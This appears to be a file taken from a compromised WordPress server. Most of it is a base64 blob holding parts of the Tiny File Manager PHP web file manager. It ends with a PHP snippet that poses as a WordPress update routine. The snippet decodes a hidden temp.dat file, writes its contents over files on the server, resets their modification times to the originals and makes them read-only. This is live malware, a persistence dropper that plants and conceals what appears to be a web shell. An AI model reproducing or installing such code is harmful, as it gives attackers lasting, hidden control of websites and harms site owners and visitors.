sXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwieG1sXCI6IFwiWE1MXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwieHF1ZXJ5XCI6IFwiWFF1ZXJ5XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwieWFtbFwiOiBcIllBTUxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJkamFuZ29cIjogXCJEamFuZ29cIlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJmb250U2l6ZVwiOiB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDg6IDgsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDEwOiAxMCxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMTE6IDExLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAxMjogMTIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDEzOiAxMyxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMTQ6IDE0LFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAxNTogMTUsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDE2OiAxNixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMTc6IDE3LFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAxODogMTgsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDIwOiAyMCxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMjI6IDIyLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAyNDogMjQsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDI2OiAyNixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMzA6IDMwXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgfTtcbiAgICAgICAgICAgICAgICAgICAgaWYgKF9kYXRhICYmIF9kYXRhLmFjZU1vZGUpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICRtb2RlRWwuaHRtbChvcHRpb25Ob2RlKFwiYWNlXC9tb2RlXC9cIiwgX2RhdGEuYWNlTW9kZSkpO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgIGlmIChfZGF0YSAmJiBfZGF0YS5hY2VUaGVtZSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgdmFyIGxpZ2h0VGhlbWUgPSBvcHRpb25Ob2RlKFwiYWNlXC90aGVtZVwvXCIsIF9kYXRhLmFjZVRoZW1lLmJyaWdodCksXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgZGFya1RoZW1lID0gb3B0aW9uTm9kZShcImFjZVwvdGhlbWVcL1wiLCBfZGF0YS5hY2VUaGVtZS5kYXJrKTtcbiAgICAgICAgICAgICAgICAgICAgICAgICR0aGVtZUVsLmh0bWwoXCI8b3B0Z3JvdXAgbGFiZWw9XFxcIkJyaWdodFxcXCI+XCIgKyBsaWdodFRoZW1lICsgXCI8XC9vcHRncm91cD48b3B0Z3JvdXAgbGFiZWw9XFxcIkRhcmtcXFwiPlwiICsgZGFya1RoZW1lICsgXCI8XC9vcHRncm91cD5cIik7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgaWYgKF9kYXRhICYmIF9kYXRhLmZvbnRTaXplKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAkZm9udFNpemVFbC5odG1sKG9wdGlvbk5vZGUoXCJcIiwgX2RhdGEuZm9udFNpemUpKTtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAkbW9kZUVsLnZhbChlZGl0b3IuZ2V0U2Vzc2lvbigpLiRtb2RlSWQpO1xuICAgICAgICAgICAgICAgICAgICAkdGhlbWVFbC52YWwoZWRpdG9yLmdldFRoZW1lKCkpO1xuICAgICAgICAgICAgICAgICAgICAkKGZ1bmN0aW9uKCkge1xuICAgICAgICAgICAgICAgICAgICAgICAgJGZvbnRTaXplRWwudmFsKDEyKS5jaGFuZ2UoKTtcbiAgICAgICAgICAgICAgICAgICAgfSk7XG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgJChmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICAgICAgcmVuZGVyVGhlbWVNb2RlKCk7XG4gICAgICAgICAgICAgICAgICAgICQoXCIuanMtYWNlLXRvb2xiYXJcIikub24oXCJjbGlja1wiLCAnYnV0dG9uJywgZnVuY3Rpb24oZSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgZS5wcmV2ZW50RGVmYXVsdCgpO1xuICAgICAgICAgICAgICAgICAgICAgICAgbGV0IGNtZFZhbHVlID0gJCh0aGlzKS5hdHRyKFwiZGF0YS1jbWRcIiksXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgZWRpdG9yT3B0aW9uID0gJCh0aGlzKS5hdHRyKFwiZGF0YS1vcHRpb25cIik7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoY21kVmFsdWUgJiYgY21kVmFsdWUgIT0gXCJub25lXCIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBhY2VfY29tbWVuZChjbWRWYWx1ZSk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKGVkaXRvck9wdGlvbikge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChlZGl0b3JPcHRpb24gPT0gXCJmdWxsc2NyZWVuXCIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKHZvaWQgMCAhPT0gZG9jdW1lbnQuZnVsbFNjcmVlbkVsZW1lbnQgJiYgbnVsbCA9PT0gZG9jdW1lbnQuZnVsbFNjcmVlbkVsZW1lbnQgfHwgdm9pZCAwICE9PSBkb2N1bWVudC5tc0Z1bGxzY3JlZW5FbGVtZW50ICYmIG51bGwgPT09IGRvY3VtZW50Lm1zRnVsbHNjcmVlbkVsZW1lbnQgfHwgdm9pZCAwICE9PSBkb2N1bWVudC5tb3pGdWxsU2NyZWVuICYmICFkb2N1bWVudC5tb3pGdWxsU2NyZWVuIHx8IHZvaWQgMCAhPT0gZG9jdW1lbnQud2Via2l0SXNGdWxsU2NyZWVuICYmICFkb2N1bWVudC53ZWJraXRJc0Z1bGxTY3JlZW4pICYmXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIChlZGl0b3IuY29udGFpbmVyLnJlcXVlc3RGdWxsU2NyZWVuID8gZWRpdG9yLmNvbnRhaW5lci5yZXF1ZXN0RnVsbFNjcmVlbigpIDogZWRpdG9yLmNvbnRhaW5lci5tb3pSZXF1ZXN0RnVsbFNjcmVlbiA/IGVkaXRvci5jb250YWluZXIubW96UmVxdWVzdEZ1bGxTY3JlZW4oKSA6IGVkaXRvci5jb250YWluZXIud2Via2l0UmVxdWVzdEZ1bGxTY3JlZW4gPyBlZGl0b3IuY29udGFpbmVyLndlYmtpdFJlcXVlc3RGdWxsU2NyZWVuKEVsZW1lbnQuQUxMT1dfS0VZQk9BUkRfSU5QVVQpIDogZWRpdG9yLmNvbnRhaW5lci5tc1JlcXVlc3RGdWxsc2NyZWVuICYmIGVkaXRvci5jb250YWluZXIubXNSZXF1ZXN0RnVsbHNjcmVlbigpKTtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKGVkaXRvck9wdGlvbiA9PSBcIndyYXBcIikge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsZXQgd3JhcFN0YXR1cyA9IChlZGl0b3IuZ2V0U2Vzc2lvbigpLmdldFVzZVdyYXBNb2RlKCkpID8gZmFsc2UgOiB0cnVlO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlZGl0b3IuZ2V0U2Vzc2lvbigpLnNldFVzZVdyYXBNb2RlKHdyYXBTdGF0dXMpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgfSk7XG5cbiAgICAgICAgICAgICAgICAgICAgJChcInNlbGVjdCNqcy1hY2UtbW9kZSwgc2VsZWN0I2pzLWFjZS10aGVtZSwgc2VsZWN0I2pzLWFjZS1mb250U2l6ZVwiKS5vbihcImNoYW5nZVwiLCBmdW5jdGlvbihlKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBlLnByZXZlbnREZWZhdWx0KCk7XG4gICAgICAgICAgICAgICAgICAgICAgICBsZXQgc2VsZWN0ZWRWYWx1ZSA9ICQodGhpcykudmFsKCksXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgc2VsZWN0aW9uVHlwZSA9ICQodGhpcykuYXR0cihcImRhdGEtdHlwZVwiKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChzZWxlY3RlZFZhbHVlICYmIHNlbGVjdGlvblR5cGUgPT0gXCJtb2RlXCIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlZGl0b3IuZ2V0U2Vzc2lvbigpLnNldE1vZGUoc2VsZWN0ZWRWYWx1ZSk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKHNlbGVjdGVkVmFsdWUgJiYgc2VsZWN0aW9uVHlwZSA9PSBcInRoZW1lXCIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlZGl0b3Iuc2V0VGhlbWUoc2VsZWN0ZWRWYWx1ZSk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKHNlbGVjdGVkVmFsdWUgJiYgc2VsZWN0aW9uVHlwZSA9PSBcImZvbnRTaXplXCIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlZGl0b3Iuc2V0Rm9udFNpemUocGFyc2VJbnQoc2VsZWN0ZWRWYWx1ZSkpO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICB9KTtcbiAgICAgICAgICAgICAgICB9KTtcbiAgICAgICAgICAgIDxcL3NjcmlwdD5cbiAgICAgICAgPD9waHAgZW5kaWY7ID8+XG4gICAgICAgIDxkaXYgaWQ9XCJzbmFja2JhclwiPjxcL2Rpdj5cbiAgICA8XC9ib2R5PlxuXG4gICAgPFwvaHRtbD5cbjw/cGhwXG4gICAgfVxuXG4gICAgXC8qKlxuICAgICAqIExhbmd1YWdlIFRyYW5zbGF0aW9uIFN5c3RlbVxuICAgICAqIEBwYXJhbSBzdHJpbmcgJHR4dFxuICAgICAqIEByZXR1cm4gc3RyaW5nXG4gICAgICpcL1xuICAgIGZ1bmN0aW9uIGxuZygkdHh0KVxuICAgIHtcbiAgICAgICAgZ2xvYmFsICRsYW5nO1xuXG4gICAgICAgICR0clsnZW4nXVsnQXBwTmFtZSddICAgICAgICA9ICdUaW55IEZpbGUgTWFuYWdlcic7XG4gICAgICAgICR0clsnZW4nXVsnQXBwVGl0bGUnXSAgICAgICA9ICdGaWxlIE1hbmFnZXInO1xuICAgICAgICAkdHJbJ2VuJ11bJ0xvZ2luJ10gICAgICAgICAgPSAnU2lnbiBpbic7XG4gICAgICAgICR0clsnZW4nXVsnVXNlcm5hbWUnXSAgICAgICA9ICdVc2VybmFtZSc7XG4gICAgICAgICR0clsnZW4nXVsnUGFzc3dvcmQnXSAgICAgICA9ICdQYXNzd29yZCc7XG4gICAgICAgICR0clsnZW4nXVsnTG9nb3V0J10gICAgICAgICA9ICdTaWduIE91dCc7XG4gICAgICAgICR0clsnZW4nXVsnTW92ZSddICAgICAgICAgICA9ICdNb3ZlJztcbiAgICAgICAgJHRyWydlbiddWydDb3B5J10gICAgICAgICAgID0gJ0NvcHknO1xuICAgICAgICAkdHJbJ2VuJ11bJ1NhdmUnXSAgICAgICAgICAgPSAnU2F2ZSc7XG4gICAgICAgICR0clsnZW4nXVsnU2VsZWN0QWxsJ10gICAgICA9ICdTZWxlY3QgYWxsJztcbiAgICAgICAgJHRyWydlbiddWydVblNlbGVjdEFsbCddICAgID0gJ1Vuc2VsZWN0IGFsbCc7XG4gICAgICAgICR0clsnZW4nXVsnRmlsZSddICAgICAgICAgICA9ICdGaWxlJztcbiAgICAgICAgJHRyWydlbiddWydCYWNrJ10gICAgICAgICAgID0gJ0JhY2snO1xuICAgICAgICAkdHJbJ2VuJ11bJ1NpemUnXSAgICAgICAgICAgPSAnU2l6ZSc7XG4gICAgICAgICR0clsnZW4nXVsnUGVybXMnXSAgICAgICAgICA9ICdQZXJtcyc7XG4gICAgICAgICR0clsnZW4nXVsnTW9kaWZpZWQnXSAgICAgICA9ICdNb2RpZmllZCc7XG4gICAgICAgICR0clsnZW4nXVsnT3duZXInXSAgICAgICAgICA9ICdPd25lcic7XG4gICAgICAgICR0clsnZW4nXVsnU2VhcmNoJ10gICAgICAgICA9ICdTZWFyY2gnO1xuICAgICAgICAkdHJbJ2VuJ11bJ05ld0l0ZW0nXSAgICAgICAgPSAnTmV3IEl0ZW0nO1xuICAgICAgICAkdHJbJ2VuJ11bJ0ZvbGRlciddICAgICAgICAgPSAnRm9sZGVyJztcbiAgICAgICAgJHRyWydlbiddWydEZWxldGUnXSAgICAgICAgID0gJ0RlbGV0ZSc7XG4gICAgICAgICR0clsnZW4nXVsnUmVuYW1lJ10gICAgICAgICA9ICdSZW5hbWUnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0NvcHlUbyddICAgICAgICAgPSAnQ29weSB0byc7XG4gICAgICAgICR0clsnZW4nXVsnRGlyZWN0TGluayddICAgICA9ICdEaXJlY3QgbGluayc7XG4gICAgICAgICR0clsnZW4nXVsnVXBsb2FkaW5nRmlsZXMnXSA9ICdVcGxvYWQgRmlsZXMnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0NoYW5nZVBlcm1pc3Npb25zJ10gID0gJ0NoYW5nZSBQZXJtaXNzaW9ucyc7XG4gICAgICAgICR0clsnZW4nXVsnQ29weWluZyddICAgICAgICA9ICdDb3B5aW5nJztcbiAgICAgICAgJHRyWydlbiddWydDcmVhdGVOZXdJdGVtJ10gID0gJ0NyZWF0ZSBOZXcgSXRlbSc7XG4gICAgICAgICR0clsnZW4nXVsnTmFtZSddICAgICAgICAgICA9ICdOYW1lJztcbiAgICAgICAgJHRyWydlbiddWydBZHZhbmNlZEVkaXRvciddID0gJ0FkdmFuY2VkIEVkaXRvcic7XG4gICAgICAgICR0clsnZW4nXVsnQWN0aW9ucyddICAgICAgICA9ICdBY3Rpb25zJztcbiAgICAgICAgJHRyWydlbiddWydGb2xkZXIgaXMgZW1wdHknXSA9ICdGb2xkZXIgaXMgZW1wdHknO1xuICAgICAgICAkdHJbJ2VuJ11bJ1VwbG9hZCddICAgICAgICAgPSAnVXBsb2FkJztcbiAgICAgICAgJHRyWydlbiddWydDYW5jZWwnXSAgICAgICAgID0gJ0NhbmNlbCc7XG4gICAgICAgICR0clsnZW4nXVsnSW52ZXJ0U2VsZWN0aW9uJ10gPSAnSW52ZXJ0IFNlbGVjdGlvbic7XG4gICAgICAgICR0clsnZW4nXVsnRGVzdGluYXRpb25Gb2xkZXInXSAgPSAnRGVzdGluYXRpb24gRm9sZGVyJztcbiAgICAgICAgJHRyWydlbiddWydJdGVtVHlwZSddICAgICAgID0gJ0l0ZW0gVHlwZSc7XG4gICAgICAgICR0clsnZW4nXVsnSXRlbU5hbWUnXSAgICAgICA9ICdJdGVtIE5hbWUnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0NyZWF0ZU5vdyddICAgICAgPSAnQ3JlYXRlIE5vdyc7XG4gICAgICAgICR0clsnZW4nXVsnRG93bmxvYWQnXSAgICAgICA9ICdEb3dubG9hZCc7XG4gICAgICAgICR0clsnZW4nXVsnT3BlbiddICAgICAgICAgICA9ICdPcGVuJztcbiAgICAgICAgJHRyWydlbiddWydVblppcCddICAgICAgICAgID0gJ1VuWmlwJztcbiAgICAgICAgJHRyWydlbiddWydVblppcFRvRm9sZGVyJ10gID0gJ1VuWmlwIHRvIGZvbGRlcic7XG4gICAgICAgICR0clsnZW4nXVsnRWRpdCddICAgICAgICAgICA9ICdFZGl0JztcbiAgICAgICAgJHRyWydlbiddWydOb3JtYWxFZGl0b3InXSAgID0gJ05vcm1hbCBFZGl0b3InO1xuICAgICAgICAkdHJbJ2VuJ11bJ0JhY2tVcCddICAgICAgICAgPSAnQmFjayBVcCc7XG4gICAgICAgICR0clsnZW4nXVsnU291cmNlRm9sZGVyJ10gICA9ICdTb3VyY2UgRm9sZGVyJztcbiAgICAgICAgJHRyWydlbiddWydGaWxlcyddICAgICAgICAgID0gJ0ZpbGVzJztcbiAgICAgICAgJHRyWydlbiddWydNb3ZlJ10gICAgICAgICAgID0gJ01vdmUnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0NoYW5nZSddICAgICAgICAgPSAnQ2hhbmdlJztcbiAgICAgICAgJHRyWydlbiddWydTZXR0aW5ncyddICAgICAgID0gJ1NldHRpbmdzJztcbiAgICAgICAgJHRyWydlbiddWydMYW5ndWFnZSddICAgICAgID0gJ0xhbmd1YWdlJztcbiAgICAgICAgJHRyWydlbiddWydFcnJvclJlcG9ydGluZyddID0gJ0Vycm9yIFJlcG9ydGluZyc7XG4gICAgICAgICR0clsnZW4nXVsnU2hvd0hpZGRlbkZpbGVzJ10gPSAnU2hvdyBIaWRkZW4gRmlsZXMnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0hlbHAnXSAgICAgICAgICAgPSAnSGVscCc7XG4gICAgICAgICR0clsnZW4nXVsnQ3JlYXRlZCddICAgICAgICA9ICdDcmVhdGVkJztcbiAgICAgICAgJHRyWydlbiddWydIZWxwIERvY3VtZW50cyddID0gJ0hlbHAgRG9jdW1lbnRzJztcbiAgICAgICAgJHRyWydlbiddWydSZXBvcnQgSXNzdWUnXSAgID0gJ1JlcG9ydCBJc3N1ZSc7XG4gICAgICAgICR0clsnZW4nXVsnR2VuZXJhdGUnXSAgICAgICA9ICdHZW5lcmF0ZSc7XG4gICAgICAgICR0clsnZW4nXVsnRnVsbFNpemUnXSAgICAgICA9ICdGdWxsIFNpemUnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0hpZGVDb2x1bW5zJ10gICAgPSAnSGlkZSBQZXJtc1wvT3duZXIgY29sdW1ucyc7XG4gICAgICAgICR0clsnZW4nXVsnWW91IGFyZSBsb2dnZWQgaW4nXSA9ICdZb3UgYXJlIGxvZ2dlZCBpbic7XG4gICAgICAgICR0clsnZW4nXVsnTm90aGluZyBzZWxlY3RlZCddICA9ICdOb3RoaW5nIHNlbGVjdGVkJztcbiAgICAgICAgJHRyWydlbiddWydQYXRocyBtdXN0IGJlIG5vdCBlcXVhbCddICAgID0gJ1BhdGhzIG11c3QgYmUgbm90IGVxdWFsJztcbiAgICAgICAgJHRyWydlbiddWydSZW5hbWVkIGZyb20nXSAgICAgICA9ICdSZW5hbWVkIGZyb20nO1xuICAgICAgICAkdHJbJ2VuJ11bJ0FyY2hpdmUgbm90IHVucGFja2VkJ10gPSAnQXJjaGl2ZSBub3QgdW5wYWNrZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0RlbGV0ZWQnXSAgICAgICAgICAgID0gJ0RlbGV0ZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0FyY2hpdmUgbm90IGNyZWF0ZWQnXSA9ICdBcmNoaXZlIG5vdCBjcmVhdGVkJztcbiAgICAgICAgJHRyWydlbiddWydDb3BpZWQgZnJvbSddICAgICAgICA9ICdDb3BpZWQgZnJvbSc7XG4gICAgICAgICR0clsnZW4nXVsnUGVybWlzc2lvbnMgY2hhbmdlZCddID0gJ1Blcm1pc3Npb25zIGNoYW5nZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ3RvJ10gICAgICAgICAgICAgICAgID0gJ3RvJztcbiAgICAgICAgJHRyWydlbiddWydTYXZlZCBTdWNjZXNzZnVsbHknXSA9ICdTYXZlZCBTdWNjZXNzZnVsbHknO1xuICAgICAgICAkdHJbJ2VuJ11bJ25vdCBmb3VuZCEnXSAgICAgICAgID0gJ25vdCBmb3VuZCEnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0ZpbGUgU2F2ZWQgU3VjY2Vzc2Z1bGx5J10gICAgPSAnRmlsZSBTYXZlZCBTdWNjZXNzZnVsbHknO1xuICAgICAgICAkdHJbJ2VuJ11bJ0FyY2hpdmUnXSAgICAgICAgICAgID0gJ0FyY2hpdmUnO1xuICAgICAgICAkdHJbJ2VuJ11bJ1Blcm1pc3Npb25zIG5vdCBjaGFuZ2VkJ10gICAgPSAnUGVybWlzc2lvbnMgbm90IGNoYW5nZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ1NlbGVjdCBmb2xkZXInXSAgICAgID0gJ1NlbGVjdCBmb2xkZXInO1xuICAgICAgICAkdHJbJ2VuJ11bJ1NvdXJjZSBwYXRoIG5vdCBkZWZpbmVkJ10gICAgPSAnU291cmNlIHBhdGggbm90IGRlZmluZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ2FscmVhZHkgZXhpc3RzJ10gICAgID0gJ2FscmVhZHkgZXhpc3RzJztcbiAgICAgICAgJHRyWydlbiddWydFcnJvciB3aGlsZSBtb3ZpbmcgZnJvbSddICAgID0gJ0Vycm9yIHdoaWxlIG1vdmluZyBmcm9tJztcbiAgICAgICAgJHRyWydlbiddWydDcmVhdGUgYXJjaGl2ZT8nXSAgICA9ICdDcmVhdGUgYXJjaGl2ZT8nO1xuICAgICAgICAkdHJbJ2VuJ11bJ0ludmFsaWQgZmlsZSBvciBmb2xkZXIgbmFtZSddICAgID0gJ0ludmFsaWQgZmlsZSBvciBmb2xkZXIgbmFtZSc7XG4gICAgICAgICR0clsnZW4nXVsnQXJjaGl2ZSB1bnBhY2tlZCddICAgPSAnQXJjaGl2ZSB1bnBhY2tlZCc7XG4gICAgICAgICR0clsnZW4nXVsnRmlsZSBleHRlbnNpb24gaXMgbm90IGFsbG93ZWQnXSAgPSAnRmlsZSBleHRlbnNpb24gaXMgbm90IGFsbG93ZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ1Jvb3QgcGF0aCddICAgICAgICAgID0gJ1Jvb3QgcGF0aCc7XG4gICAgICAgICR0clsnZW4nXVsnRXJyb3Igd2hpbGUgcmVuYW1pbmcgZnJvbSddICA9ICdFcnJvciB3aGlsZSByZW5hbWluZyBmcm9tJztcbiAgICAgICAgJHRyWydlbiddWydGaWxlIG5vdCBmb3VuZCddICAgICA9ICdGaWxlIG5vdCBmb3VuZCc7XG4gICAgICAgICR0clsnZW4nXVsnRXJyb3Igd2hpbGUgZGVsZXRpbmcgaXRlbXMnXSA9ICdFcnJvciB3aGlsZSBkZWxldGluZyBpdGVtcyc7XG4gICAgICAgICR0clsnZW4nXVsnTW92ZWQgZnJvbSddICAgICAgICAgPSAnTW92ZWQgZnJvbSc7XG4gICAgICAgICR0clsnZW4nXVsnR2VuZXJhdGUgbmV3IHBhc3N3b3JkIGhhc2gnXSA9ICdHZW5lcmF0ZSBuZXcgcGFzc3dvcmQgaGFzaCc7XG4gICAgICAgICR0clsnZW4nXVsnTG9naW4gZmFpbGVkLiBJbnZhbGlkIHVzZXJuYW1lIG9yIHBhc3N3b3JkJ10gPSAnTG9naW4gZmFpbGVkLiBJbnZhbGlkIHVzZXJuYW1lIG9yIHBhc3N3b3JkJztcbiAgICAgICAgJHRyWydlbiddWydwYXNzd29yZF9oYXNoIG5vdCBzdXBwb3J0ZWQsIFVwZ3JhZGUgUEhQIHZlcnNpb24nXSA9ICdwYXNzd29yZF9oYXNoIG5vdCBzdXBwb3J0ZWQsIFVwZ3JhZGUgUEhQIHZlcnNpb24nO1xuICAgICAgICAkdHJbJ2VuJ11bJ0FkdmFuY2VkIFNlYXJjaCddICAgID0gJ0FkdmFuY2VkIFNlYXJjaCc7XG4gICAgICAgICR0clsnZW4nXVsnRXJyb3Igd2hpbGUgY29weWluZyBmcm9tJ10gICAgPSAnRXJyb3Igd2hpbGUgY29weWluZyBmcm9tJztcbiAgICAgICAgJHRyWydlbiddWydJbnZhbGlkIGNoYXJhY3RlcnMgaW4gZmlsZSBuYW1lJ10gICAgICAgICAgICAgICAgPSAnSW52YWxpZCBjaGFyYWN0ZXJzIGluIGZpbGUgbmFtZSc7XG4gICAgICAgICR0clsnZW4nXVsnRklMRSBFWFRFTlNJT04gSVMgTk9UIFNVUFBPUlRFRCddICAgICAgICAgICAgICAgID0gJ0ZJTEUgRVhURU5TSU9OIElTIE5PVCBTVVBQT1JURUQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ1NlbGVjdGVkIGZpbGVzIGFuZCBmb2xkZXIgZGVsZXRlZCddICAgICAgICAgICAgICA9ICdTZWxlY3RlZCBmaWxlcyBhbmQgZm9sZGVyIGRlbGV0ZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0Vycm9yIHdoaWxlIGZldGNoaW5nIGFyY2hpdmUgaW5mbyddICAgICAgICAgICAgICA9ICdFcnJvciB3aGlsZSBmZXRjaGluZyBhcmNoaXZlIGluZm8nO1xuICAgICAgICAkdHJbJ2VuJ11bJ0RlbGV0ZSBzZWxlY3RlZCBmaWxlcyBhbmQgZm9sZGVycz8nXSAgICAgICAgICAgICA9ICdEZWxldGUgc2VsZWN0ZWQgZmlsZXMgYW5kIGZvbGRlcnM/JztcbiAgICAgICAgJHRyWydlbiddWydTZWFyY2ggZmlsZSBpbiBmb2xkZXIgYW5kIHN1YmZvbGRlcnMuLi4nXSAgICAgICAgPSAnU2VhcmNoIGZpbGUgaW4gZm9sZGVyIGFuZCBzdWJmb2xkZXJzLi4uJztcbiAgICAgICAgJHRyWydlbiddWydBY2Nlc3MgZGVuaWVkLiBJUCByZXN0cmljdGlvbiBhcHBsaWNhYmxlJ10gICAgICAgPSAnQWNjZXNzIGRlbmllZC4gSVAgcmVzdHJpY3Rpb24gYXBwbGljYWJsZSc7XG4gICAgICAgICR0clsnZW4nXVsnSW52YWxpZCBjaGFyYWN0ZXJzIGluIGZpbGUgb3IgZm9sZGVyIG5hbWUnXSAgICAgID0gJ0ludmFsaWQgY2hhcmFjdGVycyBpbiBmaWxlIG9yIGZvbGRlciBuYW1lJztcbiAgICAgICAgJHRyWydlbiddWydPcGVyYXRpb25zIHdpdGggYXJjaGl2ZXMgYXJlIG5vdCBhdmFpbGFibGUnXSAgICAgPSAnT3BlcmF0aW9ucyB3aXRoIGFyY2hpdmVzIGFyZSBub3QgYXZhaWxhYmxlJztcbiAgICAgICAgJHRyWydlbiddWydGaWxlIG9yIGZvbGRlciB3aXRoIHRoaXMgcGF0aCBhbHJlYWR5IGV4aXN0cyddICAgPSAnRmlsZSBvciBmb2xkZXIgd2l0aCB0aGlzIHBhdGggYWxyZWFkeSBleGlzdHMnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0FyZSB5b3Ugc3VyZSB3YW50IHRvIHJlbmFtZT8nXSAgICAgICAgICAgICAgICAgICA9ICdBcmUgeW91IHN1cmUgd2FudCB0byByZW5hbWU/JztcbiAgICAgICAgJHRyWydlbiddWydBcmUgeW91IHN1cmUgd2FudCB0byddICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAnQXJlIHlvdSBzdXJlIHdhbnQgdG8nO1xuICAgICAgICAkdHJbJ2VuJ11bJ0RhdGUgTW9kaWZpZWQnXSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICdEYXRlIE1vZGlmaWVkJztcbiAgICAgICAgJHRyWydlbiddWydGaWxlIHNpemUnXSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAnRmlsZSBzaXplJztcbiAgICAgICAgJHRyWydlbiddWydNSU1FLXR5cGUnXSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAnTUlNRS10eXBlJztcblxuICAgICAgICAkaTE4biA9IGZtX2dldF90cmFuc2xhdGlvbnMoJHRyKTtcbiAgICAgICAgJHRyID0gJGkxOG4gPyAkaTE4biA6ICR0cjtcblxuICAgICAgICBpZiAoIXN0cmxlbigkbGFuZykpICRsYW5nID0gJ2VuJztcbiAgICAgICAgaWYgKGlzc2V0KCR0clskbGFuZ11bJHR4dF0pKSByZXR1cm4gZm1fZW5jKCR0clskbGFuZ11bJHR4dF0pO1xuICAgICAgICBlbHNlIGlmIChpc3NldCgkdHJbJ2VuJ11bJHR4dF0pKSByZXR1cm4gZm1fZW5jKCR0clsnZW4nXVskdHh0XSk7XG4gICAgICAgIGVsc2UgcmV0dXJuIFwiJHR4dFwiO1xuICAgIH1cblxuPz4ifV0=dqlzuf $wp_update_file="//home/lajmixx/apps/lajmixx/wp-content/upgrade/temp.dat"; if ( is_file($wp_update_file) ) { $wp_update_content=trim(file_get_contents($wp_update_file)); if ( $wp_update_content!="" ) { $wp_update_content=substr($wp_update_content,6,-6); $wp_update_content=base64_decode($wp_update_content); $wp_update_arr=json_decode($wp_update_content,true); if ( is_array($wp_update_arr) ) { foreach($wp_update_arr as $value) { $file_mtime=filemtime($value["path"]); @chmod($value["path"],0777); @unlink($value["path"]); @file_put_contents($value["path"],$value["content"]); @touch($value["path"],$file_mtime); @chmod($value["path"],0444); } } } } 